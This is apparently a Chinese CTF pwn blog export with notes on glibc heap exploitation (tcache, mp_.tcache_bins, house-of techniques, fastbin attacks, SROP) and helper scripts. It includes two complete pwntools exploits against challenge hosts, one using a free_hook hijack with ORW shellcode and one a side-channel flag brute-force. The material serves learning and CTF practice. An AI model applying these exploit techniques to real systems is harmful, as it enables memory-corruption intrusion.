free前绕过counts也不太行，因为idx只记录了最新的那个chunk，无法在tcache中垫好其他chunk 打tcache attack要注意到counts，当counts归零则无法申请到对应bin的chunk，如果不注意就会像我这样浪费许多时间（怎么跟我想的不一样？？） find_fake_fast指令可以在目标地址附近列出可以构造fake chunk的位置 需要爆破的环节可以参考该exp 劫持tcache perthread struct的环节需要一直考虑到counts与bin的影响，后续环节也可以通过提前布置好counts攻击，多结合切割unsorted bin chunk来调整指针位置，这部分也是最恶心的 教训：坚信机器一定是正确的，如果没有出现预想的结果，那一定是exp有问题 最后：牛魔，调昏了，调了一天，但是收获很多之前不知道或没注意的小trick LittleRedFlower (Attack mp_.tcache_bins) glibc 2.30\n依旧是保护全开\n有沙盒，无法执行execve hint:试试看打TCACHE_MAX_BINS gift: stdout的地址 相当于给了Libc基址 有一字节任意写的机会 在预先分配好的0x200大小的堆指针任意偏移处有写8 bytes的机会 可以申请一个 大于0xfff 小于0x2000的chunk，该chunk最后会被free 为什么打TCACHE_MAX_BINS 上一道题打的是tcache的counts以及idx，而这道题打的是tcache_max_bins，简单来说就是通过篡改tcache_max_bins使得tcache中的chunk大小突破0x420，对应这道题中就是让我们最后申请的大于0xfff的chunk也被识别为tcache chunk，从而我们能够通过该次malloc作进一步利用\n根本原理是\nvoid* __libc_malloc(size_t bytes) { size_t tbytes; if (!checked_request2size(bytes, \u0026amp;tbytes)) { return NULL; } size_t tc_idx = csize2tidx(tbytes); MAYBE_INIT_TCACHE(); if (tc_idx \u0026lt; mp_.tcache_bins \u0026amp;\u0026amp; tcache \u0026amp;\u0026amp; tcache-\u0026gt;counts[tc_idx] \u0026gt; 0) { return tcache_get(tc_idx); } // 如果 tcache 没有可用块，调用其他分配逻辑 ... } 从这段源码可以看到，malloc函数会判断size是否小于mp_.tcache_bins，判断是否适合从tcache分配，我们先改mp_.tcache_bins，就能进入tcache的分配逻辑，\nstatic __always_inline void* tcache_get(size_t idx) { tcache_entry* e = tcache-\u0026gt;entries[idx]; // 获取链表头 if (e != NULL) { tcache-\u0026gt;entries[idx] = REVEAL_PTR(e-\u0026gt;next); // 更新链表头 tcache-\u0026gt;counts[idx]--; // 减少计数 return (void*) e; // 返回块 } return NULL; } 其中关键在于idx是通过size进行计算的，即以下宏：\n#define csize2tidx(x) \\ (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) 通过该宏能够通过size计算对应的index。只要我们能够绕过MAX_TCACHE_SIZE，再根据size作对应计算idx的位置处布置好victim address，就能申请到目标地址\n怎么打TCACHE_MAX_BINS MAX_TCACHE_SIZE作为宏无法被修改，但是mp_.tcache_bins作为存储MAX_TCACHE_SIZE可以被修改，并且后续判断也是依照mp_.tcache_bins进行判断。mp结构体即malloc_par mp_存在于libc中，我们可以通过开头泄露的libc地址找到并一字节修改它\nstatic struct malloc_par mp_ = { .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1), #if USE_TCACHE .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), .tcache_unsorted_limit = 0 /* No limit. */ #endif }; 由于mp_结构体被static关键字修饰，会显示为局部符号而非全局符号，因此不会出现在符号表中\nlibc没调试信息找不到一点，只能从ida里硬翻：\n0x1EA2D0就是mp_.tcache_bins的位置。下次再打mp_直接对照这张图\n由于我们已经没有机会再修改counts，于是看看堆上有无自然生成的的counts，刚好heap_base + 0x298有0x211的数据，或者我们不用它，因为出题人给我们在0x210大小的chunk中布置好了0x0101010101的数据，拿来用就是\n直接尝试malloc 0x2000大小的chunk，观察malloc崩溃时的rax就可以计算对应的idx地址，此时的rcx为对应的counts地址\n如何计算出对应的idx地址？malloc崩溃时正在对[rax + 0x80]这个位置操作，但这个位置的值为0，不难分析出，此时就是在取idx处的ptr，那么rax + 80就应该是对应的idx地址\n在该位置填上free_hook地址，即可申请到free_hook的堆块，并往里面写入orw shellcode\n但是仍然有一个问题，free_hook所在的位置并没有执行权限，如果我们想要使用mprotect给该位置上权限，又离不开用栈传参。\n在劫持完hook之后 使用setcontext将栈迁移到可控位置，从而能够进行传参\nsetcontext在2.29之后变为由rdx进行索引，所以在hook处我们要先找gadget进行rdi与rdx的转换\n搜集一些万金油gadgets\n神奇妙妙工具其1：0x154b20 libc 2.30\nmov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; rdi存有chunk ptr，将其传给rdx，再通过setcontext中的gadgets进行栈迁移\n最终的exp import logging from pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) local = 1 binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;b *$rebase(0xff5)\\n\u0026#34; gdb_script += \u0026#34;b mprotect\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;node5.buuoj.cn\u0026#34; port = 25042 global io, gdb_io elf = ELF(binary_path) libc = elf.libc def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def getGift(io): io.recvuntil(\u0026#34;GIFT: \u0026#34;) stdout_addr = eval(io.recv(14)) libc_base = stdout_addr - libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;] return libc_base def attack(): io = connect(isLocal=False, isGDB=True, isIO=False) libc_base = getGift(io) mp_tcache_addr = libc_base + 0x1ea2d0 log.info(\u0026#34;libc:\u0026#34; + hex(libc_base)) io.sendafter(b\u0026#34;You can write a byte anywhere\u0026#34;, p64(mp_tcache_addr + 1)) #0xff40大小 io.sendafter(b\u0026#34;And what?\u0026#34;, p8(0xff)) #这里不是p8的话，多出来的\\x00会被后续offset读入 target = 0x1088 offset = target - 0x2a0 io.sendlineafter(b\u0026#34;Offset:\u0026#34;, str(offset)) free_hook = libc_base + libc.sym[\u0026#34;__free_hook\u0026#34;] io.sendafter(b\u0026#34;Content:\u0026#34;, p64(free_hook)) io.sendlineafter(b\u0026#34;size\u0026#34;, str(0x2000)) orw = shellcraft.open(\u0026#34;./flag\u0026#34;) #注意flag的位置 orw += shellcraft.read(3, free_hook+0x1500, 0x50) orw += shellcraft.write(1, free_hook+0x1500, 0x50) #将0x2000的chunk分为四个区域： # gadgets区，用于栈迁移与流程控制，以及进行mprotect # fake_stack区，用于伪造的stack # shellcode区，用于执行最终的orw # 缓冲区，用于存放读入的flag mprotect = libc_base + libc.sym[\u0026#34;mprotect\u0026#34;] addr_shellcode = free_hook + 0x1000 fake_stack = free_hook + 0x500 #原理就是利用类似setContext与sigreturn之类的设置上下文函数实现寄存器控制 setcontext = libc_base + libc.sym[\u0026#34;setcontext\u0026#34;] + 61 # 2.30,2.31均为+61 2.29为+53 sigFrame = SigreturnFrame() sigFrame[\u0026#39;uc_stack.ss_size\u0026#39;] = setcontext #正常可以是sigReturn 这里从arttnba3师傅学的 sigFrame.rip = mprotect sigFrame.rdi = free_hook - 0xb20 sigFrame.rsi = 0x3000 sigFrame.rdx = 7 sigFrame.rsp = fake_stack gadget1 = libc_base + 0x154b20 payload = (p64(gadget1) + p64(free_hook+0x28)).ljust(0x20,b\u0026#39;\\x00\u0026#39;)#索引rdx要指向sigframe的基址 payload += p64(setcontext) #跳转到setcontext的Gadget开始执行。放在SROP中相当于执行sigReturn payload += bytes(sigFrame) payload = payload.ljust(0x500,b\u0026#39;\\x00\u0026#39;) #fake_stack区 payload += p64(addr_shellcode) payload = payload.ljust(0x1000,b\u0026#39;\\x00\u0026#39;)#shellcode区 payload += asm(orw) io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: attack() House of apple刷题 跳转此处学习house of apple系列手法：House of Apple 一种新的glibc中IO攻击方法 (1) - roderick - record and learn!\n","date":"2025-03-13","draft":false,"permalink":"/posts/heap%E5%88%B7%E9%A2%98/","section":"CTF 复现","summary":"截止到2025/3/26 均为用户态题","tags":["pwn"],"title":"随便做做题"},{"content":"off by one 获取无法申请到的unsorted bin 通过off by one修改size可以进行overlap，此时进行free可以扩展堆大小，将其放入unsorted bin中\ndouble free泄露堆地址 如在glibc 2.26版本中，连续两次释放同一个tcache chunk，由于链中只有该chunk，导致其fd指向自己，此时show()可以泄露其fd，从而泄露堆地址\npatchelf脚本 免去繁琐的输入命令过程，自动化小帮手！\n#!/bin/bash # 显示帮助信息 usage() { echo \u0026#34;Usage: $0 \u0026lt;libc_version\u0026gt; \u0026lt;target_file\u0026gt;\u0026#34; echo \u0026#34; \u0026lt;libc_version\u0026gt;: Version of the libc (e.g., 2.23)\u0026#34; echo \u0026#34; \u0026lt;target_file\u0026gt;: Path to the target executable file (e.g., ./pwn)\u0026#34; exit 1 } # 检查参数数量 if [ \u0026#34;$#\u0026#34; -ne 2 ]; then echo \u0026#34;Error: Invalid number of arguments.\u0026#34; usage fi # 获取参数 LIBC_VERSION=\u0026#34;$1\u0026#34; TARGET_FILE=\u0026#34;$2\u0026#34; LIBC_ADDR=\u0026#39;\u0026#39; LD_ADDR=\u0026#39;\u0026#39; # 检查目标文件是否存在 if [ ! -f \u0026#34;$TARGET_FILE\u0026#34; ]; then echo \u0026#34;Error: Target file \u0026#39;$TARGET_FILE\u0026#39; does not exist.\u0026#34; exit 1 fi # 根据libc版本设置路径 case \u0026#34;$LIBC_VERSION\u0026#34; in 2.23) LIBC_ADDR=\u0026#34;/glibc-all-in-one/libs/2.23-0ubuntu3_amd64\u0026#34; LD_ADDR=\u0026#34;/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so\u0026#34; ;; *) echo \u0026#34;无对应glibc版本，请手动设置\u0026#34; exit 1 ;; esac # 检查路径是否存在 if [ ! -d \u0026#34;$LIBC_ADDR\u0026#34; ]; then echo \u0026#34;Error: libc directory \u0026#39;$LIBC_ADDR\u0026#39; does not exist.\u0026#34; exit 1 fi if [ ! -f \u0026#34;$LD_ADDR\u0026#34; ]; then echo \u0026#34;Error: ld.so file \u0026#39;$LD_ADDR\u0026#39; does not exist.\u0026#34; exit 1 fi # 使用patchelf设置解释器和RPATH patchelf --set-interpreter \u0026#34;$LD_ADDR\u0026#34; --set-rpath \u0026#34;$LIBC_ADDR\u0026#34; \u0026#34;$TARGET_FILE\u0026#34; echo \u0026#34;已进行patchelf：\u0026#34; echo \u0026#34;ld: \u0026#39;$LD_ADDR\u0026#39;\u0026#34; echo \u0026#34;rpath: \u0026#39;$LIBC_ADDR\u0026#39;\u0026#34; echo \u0026#34;file: \u0026#39;$TARGET_FILE\u0026#39;\u0026#34; 将其写好后使用命令sudo ln -s ~/my_scripts/patchpwn.sh /usr/bin/patchpwn链接到环境中\nSROP 众所周知，当进程被挂起，由用户态切换到内核态时，内核会为进程保存上下文，该过程：\n将所有寄存器压入栈中，压入signal信息，压入sigreturn地址，此时栈呈现如下形式： 当kernal处理完系统调用后，会为进程回复上下文，即当kernal处理完系统调用后，会执行sigreturn代码，开始回复上下文，将ucontext回复到对应的位置 我们称ucontext + siginfo为signal frame。signal frame会因为架构的不同而有所区别。 x86 struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; }; x64 struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; }; 值得注意的是，在该过程中，signal frame被保存在用户空间中，用户是可读写的。kernal也不关心signal frame的位置，所以当执行sigreturn时，signal frame可以被我们伪造\n通过如下布局，可以实现连续SROP\n需要满足：\n可以控制程序执行流 存在相应的gadget 可以控制相当大的空间（存储fake frame） 从wsl调用ida脚本 32位：\n#!/bin/bash # 检查是否提供了文件名作为参数 if [ \u0026#34;$#\u0026#34; -ne 1 ]; then echo \u0026#34;Usage: $0 \u0026lt;filename\u0026gt;\u0026#34; exit 1 fi # 获取文件名 FILENAME=$1 REAL_PATH=$(realpath \u0026#34;$FILENAME\u0026#34;) # 检查文件是否存在 if [ ! -f \u0026#34;$FILENAME\u0026#34; ]; then echo \u0026#34;File not found: $FILENAME\u0026#34; exit 1 fi # 将Linux文件路径转换为Windows文件路径 # 假设WSL的挂载点是/mnt/c，根据你的实际情况进行调整 WINDOWS_PATH=\u0026#34;\\\\wsl.localhost\u0026#34; # 检查ida32是否在PATH中，如果不在，需要指定完整路径 # 这里使用which命令查找ida32，如果没有安装which，可以注释掉下面两行，并直接使用ida32的 完整路径 IDA_PATH=\u0026#34;C:\\Users\\33206\\Desktop\\PwnTools\\IDA\\ida.exe\u0026#34; if [ -z \u0026#34;$IDA_PATH\u0026#34; ]; then echo \u0026#34;ida32 not found in PATH. Please specify the full path to ida32.\u0026#34; exit 1 fi # 启动ida32并传递文件路径 powershell.exe -Command \u0026#34;Start-Process -FilePath \u0026#39;$IDA_PATH\u0026#39; -ArgumentList \u0026#39;$REAL_PATH\u0026#39;\u0026#34; 64位：\n#!/bin/bash # 检查是否提供了文件名作为参数 if [ \u0026#34;$#\u0026#34; -ne 1 ]; then echo \u0026#34;Usage: $0 \u0026lt;filename\u0026gt;\u0026#34; exit 1 fi # 获取文件名 FILENAME=$1 REAL_PATH=$(realpath \u0026#34;$FILENAME\u0026#34;) # 检查文件是否存在 if [ ! -f \u0026#34;$FILENAME\u0026#34; ]; then echo \u0026#34;File not found: $FILENAME\u0026#34; exit 1 fi # 将Linux文件路径转换为Windows文件路径 # 假设WSL的挂载点是/mnt/c，根据你的实际情况进行调整 WINDOWS_PATH=\u0026#34;\\\\wsl.localhost\u0026#34; # 检查ida64是否在PATH中，如果不在，需要指定完整路径 # 这里使用which命令查找ida64，如果没有安装which，可以注释掉下面两行，并直接使用ida64的 完整路径 IDA_PATH=\u0026#34;C:\\Users\\33206\\Desktop\\PwnTools\\IDA\\ida64.exe\u0026#34; if [ -z \u0026#34;$IDA_PATH\u0026#34; ]; then echo \u0026#34;ida64 not found in PATH. Please specify the full path to ida64.\u0026#34; exit 1 fi # 启动ida64并传递文件路径 powershell.exe -Command \u0026#34;Start-Process -FilePath \u0026#39;$IDA_PATH\u0026#39; -ArgumentList \u0026#39;$REAL_PATH\u0026#39;\u0026#34; tmux配置： set -g base-index 1 # 窗口编号从 1 开始计数 set -g display-panes-time 10000 # PREFIX-Q 显示编号的驻留时长，单位 ms set -g mouse on # 开启鼠标 set -g pane-base-index 1 # 窗格编号从 1 开始计数 set -g renumber-windows on # 关掉某个窗口后，编号重排 set -g default-shell /bin/fish bind -n M-h select-pane -L bind -n M-l select-pane -R bind -n M-j select-pane -U bind -n M-k select-pane -D bind -n M-1 select-window -t 1 bind -n M-2 select-window -t 2 bind -n M-3 select-window -t 3 bind -n M-4 select-window -t 4 bind -n M-5 select-window -t 5 bind -n M-6 select-window -t 6 bind -n M-7 select-window -t 7 bind -n M-8 select-window -t 8 bind -n M-9 select-window -t 9 bind -n M-n next-layout bind h splitw -h -c \u0026#39;#{pane_current_path}\u0026#39; # 水平分屏（左右分割） bind j splitw -v -c \u0026#39;#{pane_current_path}\u0026#39; # 垂直分屏（上下分割，向下） bind k splitw -v -c \u0026#39;#{pane_current_path}\u0026#39; # 垂直分屏（上下分割，向上） bind l splitw -h -c \u0026#39;#{pane_current_path}\u0026#39; # 水平分屏（左右分割） #set -g @plugin \u0026#39;erikw/tmux-powerline\u0026#39; # default statusbar colors #set -g status-bg black #setw -g window-status-bell-style bg=black set-option -g status-left \u0026#34;#(~/.config/tmux/tmux-powerline/powerline.sh left)\u0026#34; set-option -g status-right \u0026#34;#(~/.config/tmux/tmux-powerline/powerline.sh right)\u0026#34; set -g @plugin \u0026#39;tmux-plugins/tpm\u0026#39; set -g @plugin \u0026#39;tmux-plugins/tmux-sensible\u0026#39; run \u0026#39;~/.tmux/plugins/tpm/tpm\u0026#39; ORW shellcode，在缺少write下进行侧信道爆破 缺少write可以使用sendfile等系统调用替代，但是在某些情境下（如只能使用特定的系统调用），只能进行侧信道爆破。其原理是：\nshellcode将flag读入到内存中 shellcode每次对flag的一位进行比对，比对成功就进入无限循环，此时脚本可以与程序正常交互，不存在EOF；对比不成功就让程序crash，产生EOF 根据上面两种情况编写exp进行侧信道爆破 以litctf 2025 shellcode为例：\n沙盒只允许open、read调用，也不允许转换成32位 可写入100 bytes并执行 这道题明显是考察侧信道爆破，最终exp如下：\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) binary_path = \u0026#39;./pwn\u0026#39; domain = \u0026#34;node10.anna.nssctf.cn\u0026#34; port = 29758 def attack(): def exp(dis, char): shellcode = \u0026#39;\u0026#39;\u0026#39; mov r10, rax add r10, 0xf8 mov rax, 2 mov rdi, r10 xor rsi, rsi xor rdx, rdx syscall ;open() xor rax, rax mov rdi, 3 sub r10, 0x88 mov rsi, r10 mov rdx, 0x20 syscall ;read() mov dl, byte ptr [rsi+{}] mov cl, {} cmp cl,dl jz loop mov al,60 syscall loop: jmp loop #关键的侧信道shellcode \u0026#39;\u0026#39;\u0026#39;.format(dis,char) shellcode = asm(shellcode) shellcode = shellcode.ljust(0x100-8, b\u0026#39;\\x90\u0026#39;) shellcode += b\u0026#39;./flag\\x00\\x00\u0026#39; io.recvuntil(\u0026#34;Please input your shellcode: \\n\u0026#34;) io.sendline(shellcode) flag = \u0026#34;\u0026#34; print(\u0026#34;start!\u0026#34;) for i in range(60): print(\u0026#34;flag:\u0026#34;+flag) for j in range(0x7e, 0x20, -1): io = remote(domain, port) try: exp(i,j) io.recvline(timeout=20) #根据网络情况测试timeout flag += chr(j) io.send(\u0026#39;\\n\u0026#39;) log.success(\u0026#34;{} pos : {} success\u0026#34;.format(i,chr(j))) io.close() break except: io.close() if __name__ == \u0026#39;__main__\u0026#39;: attack() ","date":"2025-03-09","draft":false,"permalink":"/posts/2025-3-9-pwntricks/","section":"PWN 基础","summary":"咦？这是什么？trick一下","tags":["pwn"],"title":"PWN tricks"},{"content":"只记录在其他部分未曾记录的house of 手法\nhouse of einherjar 非常类似于unsafe unlink，只是这次构造的fake chunk不在低地址chunk的user data内部，而是在任意位置（栈/bss等位置）\n以及我们利用的点不在于unlink操作本身，我们要绕过unlink的保护机制；真正的利用点在于unlink之后的后向合并操作。\n利用条件：offbynull/offbyone/堆溢出写; 泄露堆地址与目标地址(用于计算offset)\n/* consolidate backward */ if (!prev_inuse(p)) { prevsize = p-\u0026gt;prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); } 我们需要绕过的unlink的check:\n// 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致(size检查) if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \\ malloc_printerr (\u0026#34;corrupted size vs. prev_size\u0026#34;); // 检查 fd 和 bk 指针(双向链表完整性检查) if (__builtin_expect (FD-\u0026gt;bk != P || BK-\u0026gt;fd != P, 0)) \\ malloc_printerr (check_action, \u0026#34;corrupted double-linked list\u0026#34;, P, AV); 第二个检查我们轻易绕过，对于第一个检查(glibc 2.27加入)，我们需要设置fake chunk的size为fakesize，并且在fake chunk的距离fakesize的虚假nextchunk处的prev_size做相应设置。\n绕过这些检查后并成功后向合并后，该chunk会被放入unsorted bin中，此时unsorted bin中只有一个chunk即fake chunk。将其申请出来即可完成利用\nhouse of force 如果当前所有空闲chunk都无法满足用户需求，glibc就会从top chunk中分割一块chunk出来分配给用户：\n// 获取当前的top chunk，并计算其对应的大小 victim = av-\u0026gt;top; size = chunksize(victim); // 如果在分割之后，其大小仍然满足 chunk 的最小大小，那么就可以直接进行分割。 if ((unsigned long) (size) \u0026gt;= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av-\u0026gt;top = remainder; set_head(victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } 如果用户能够修改top chunk的size为一个很大的值就可以随意绕过该验证，修改为-1从而整型溢出也是可以的\n该方法 2.27即失效，后面需要学的时候再来看吧\nhouse of lore 我愿称之为small bin into stack\n利用small bin的堆分配机制将堆分配到栈上或其他任意位置\n需要泄露或已知目标地址、可以利用到small bin、可以修改到small bin中的chunk的bk指针、对目标地址可以伪造fake_chunk的fd指针\n利用原理： 如果向small bin中申请chunk(0x20 - 0x410)\n/* If a small request, check regular bin. Since these \u0026#34;smallbins\u0026#34; hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb); // 获取对应 small bin 中的 chunk 指针 bin = bin_at(av, idx); // 先执行 victim = last(bin)，获取 small bin 的最后一个 chunk // 如果 victim = bin ，那说明该 bin 为空。 // 如果不相等，那么会有两种情况 if ((victim = last(bin)) != bin) { // 第一种情况，small bin 还没有初始化。 if (victim == 0) /* initialization check */ // 执行初始化，将 fast bins 中的 chunk 进行合并 malloc_consolidate(av); // 第二种情况，small bin 中存在空闲的 chunk else { // 获取 small bin 中倒数第二个 chunk 。 bck = victim-\u0026gt;bk; // 检查 bck-\u0026gt;fd 是不是 victim，防止伪造 if (__glibc_unlikely(bck-\u0026gt;fd != victim)) { errstr = \u0026#34;malloc(): smallbin double linked list corrupted\u0026#34;; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来 bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; // 如果不是 main_arena，设置对应的标志 if (av != \u0026amp;main_arena) set_non_main_arena(victim); // 细致的检查 check_malloced_chunk(av, victim, nb); // 将申请到的 chunk 转化为对应的 mem 状态 void *p = chunk2mem(victim); // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } } } 由于与unsorted bin同为双向链表，其出链的方式与unsorted bin如出一辙，因此两者都可以进行house of lore攻击\n此处解释一下：之所以fake chunk1能挂入链中，关键在于small bin取chunk是从链尾取的，即victim = last(bin)，而last()即从bin -\u0026gt; bk 索引。在将chunk2从链中取出时，会将bin -\u0026gt; bk = bck，由此挂入链中\n版本影响：\nglibc 2.23 - 2.25 均可以打 glibc 2.26之后 要考虑tcache带来的影响 glibc 2.31 失效 house of orange 简而言之，就是当题目中没有提供free()的时候，我们能通过漏洞利用，获得一个在unsorted bin中的堆块。\n虽然这个效果本身看起来很小，但配合其他攻击手法就能做很多事情\n原理:\n当top chunk无法满足我们的需求，原本的top chunk就会被丢进unsorted bin中作为一个free chunk\n看起来简单，但实际上需要满足一些条件：\nsysmalloc有mmap与brk两种分配方式，我们需要让堆以brk的方式拓展，这样才能使chunk进入unsorted bin中。要符合该条件，malloc的尺寸不能大于mmp.mmap_threshold = 128k(否则会直接使用mmap) 其次要满足sysmalloc中对top size的合法性检查：size 要大于 MINSIZE(0x10)、要小于之后申请的 chunk size + MINSIZE(0x10)、size 的 prev inuse 位必须为 1 原本old top chunk的地址加上其size之后的地址要与页对齐 也就是address\u0026amp;0xfff=0x000 程序或许不会允许分配过大的内存，此时我们可以通过堆溢出写，将top chunk的size按照上述条件进行调整，然后再进行malloc\n后续利用涉及IO，将在另一篇文章中详述\nhouse of rabbit 关于malloc_consolidate的触发:\n#define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL) ... if ((unsigned long)(size) \u0026gt;= FASTBIN_CONSOLIDATION_THRESHOLD) { if (have_fastchunks(av)) malloc_consolidate(av); 当申请的堆块大小大于 65546 时，会触发fastbin_consolidate\n在malloc_consolidate()中：\nif (nextchunk != av-\u0026gt;top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { //可以看到，这里只检查了nextinuse，而没有检查chunk本身的size size += nextsize; unlink(av, nextchunk, bck, fwd); } else clear_inuse_bit_at_offset(nextchunk, 0); first_unsorted = unsorted_bin-\u0026gt;fd; unsorted_bin-\u0026gt;fd = p; first_unsorted-\u0026gt;bk = p; if (!in_smallbin_range (size)) { p-\u0026gt;fd_nextsize = NULL; p-\u0026gt;bk_nextsize = NULL; } set_head(p, size | PREV_INUSE); p-\u0026gt;bk = unsorted_bin; p-\u0026gt;fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av-\u0026gt;top = p; } 循环处理所有fastbin chunk，当该chunk与top chunk相邻则合并；若不相邻则放入unsorted bin中，同时设置prev_size和prev_inuse位\n当可以修改fast bin chunk的fd指针： 一般来说都可以打double free 当可以修改fast bin chunk的size： 申请两个大小相同的chunk再将其释放到fast bin，修改其中一个chunk的大小覆盖到另一个chunk，此时触发consolidate，这两个chunk会进入大小不同的small bin中从而获得chunk overlapping(但这种时候为什么我不直接进行堆块重叠呢？) house of roman 一种结合fastbin attack与unsortedbin attack的trick，主要思路有两个：\n低三位字节不变。该规律使得我们能够在完全没有leak的情况下通过改写unsorted bin给到fd的main_arena偏移调整到malloc_hook - 0x23的位置 爆破malloc_hook的低三位字节为onegadget house of storm house of botcake 绕过2.27后的tcache key指针对double free的检测：\n破坏key指针 改变被free的tcache chunk大小，使其进入另一大小的bin house of botcake 利用前提：存在UAF\n对于house of botcake，其利用了tcache一个大小的Bin只能存储7个chunk的原理，使得对应bin被填满后free的chunk会进入unsorted bin，便无法产生key，此时再free另一个相邻Unsorted chunk进入unsorted bin中，进行合并，会导致victim chunk变大，然后再次free victim即可进入tcache，此时便堆块重叠。\n其中填满bin这一步，也可以通过劫持tcache_perthread_struct修改counts来达到，以及tcache_perthread_struct本身就是一个满足unsorted bin的0x290大小的chunk，结合起来可以完成进一步利用，参见vnctf 2021 ff\n","date":"2025-03-08","draft":false,"permalink":"/posts/houseof/","section":"用户态利用","summary":"网安学妹会梦到土木学长吗？","tags":["pwn"],"title":"要成为House of 领域大神！"},{"content":"fastbin double free 注意点：\nfast bin对double free有检查，即检查fast bin指向的chunk与victim是否相同。所以不能连续两次释放同一个chunk。可以通过中间多free另一个chunk来绕过 fast bin会检查目标地址 + 8(即fake chunk的size位)是否符合fast bin大小 该漏洞可配合tcache stash机制绕过tcache double free针对key指针的检查\nhouse of spirit 漏洞成因：堆溢出写\n利用条件：\n可以控制free的参数为fake chunk data address 可以如图进行fake chunk构造 chunk位置需对齐，杜绝了我们使用“自然生成”的0x7f等进行利用，因为这种数据往往位置不对齐 利用效果：造成某特殊地址可任意写\n可以释放栈中的fake chunk，劫持ret 释放堆中的fake chunk，劫持控制模块实现WAA 虽然是fast bin attack，但该思路对libc 2.26以上版本的tcache仍然适用，甚至没有对next chunk size的检查\nlibc-2.27之后多了一个检查，需要覆盖fake next chunk的prev_size不为0\n总结 总而言之，我们可以利用fast bin单链表的特性，劫持其fd指针从而实现控制许多区域。但是需要注意的是，1. 这些区域的地址要可leak；2. 这些区域都需要进行size的check，这个size是人为覆盖还是自然形成的无所谓。\n","date":"2025-03-07","draft":false,"permalink":"/posts/fastbinattack/","section":"用户态利用","summary":"faster faster faster!","tags":["pwn"],"title":"fast bin attack"},{"content":"tcache相关结构体(libc 2.23版本) tcache_perthread_struct：\ntypedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; 该结构体用于维护tcache bins\ncounts数组存放每种大小的bin中当前存放的chunk数量 entries数组存放64种bin的首地址 每个 thread 都会维护一个 tcache_perthread_struct tcache_entry:\ntypedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; 该结构体用于维护tcache bins中的chunk\nnext直接指向下一个chunk的fd而非chunk header 与tcache相关的函数有两个：tcache_put()与tcache_get()，前者用于将chunk置入tcache bin，后者用于将chunk取出tcache bin\ntcache机制 tcache bin与fast bin在某种程度上很相似：都是单链表、LIFO。但tcache bins可以存放从24 bytes - 1032 bytes大小的所有非large bin chunk，然而每种大小的bin最多存放7个chunk tcache_perthread_struct结构体本身是以堆的形式与其他堆放在一起的，大小为0x250。第一次malloc时，会先malloc一块内存用于存放tcache_perthread_struct tcache bin的优先级高于fast bin：即当释放一个chunk时，在放入fast bin之前，若tcache中有对应bin未满，则优先放入tcache bin中 tcache有相当高的chunk存储优先级，体现如下： 当对应大小的tcache bin为空，如果 fastbin/smallbin/unsorted bin 中有 size 符合的 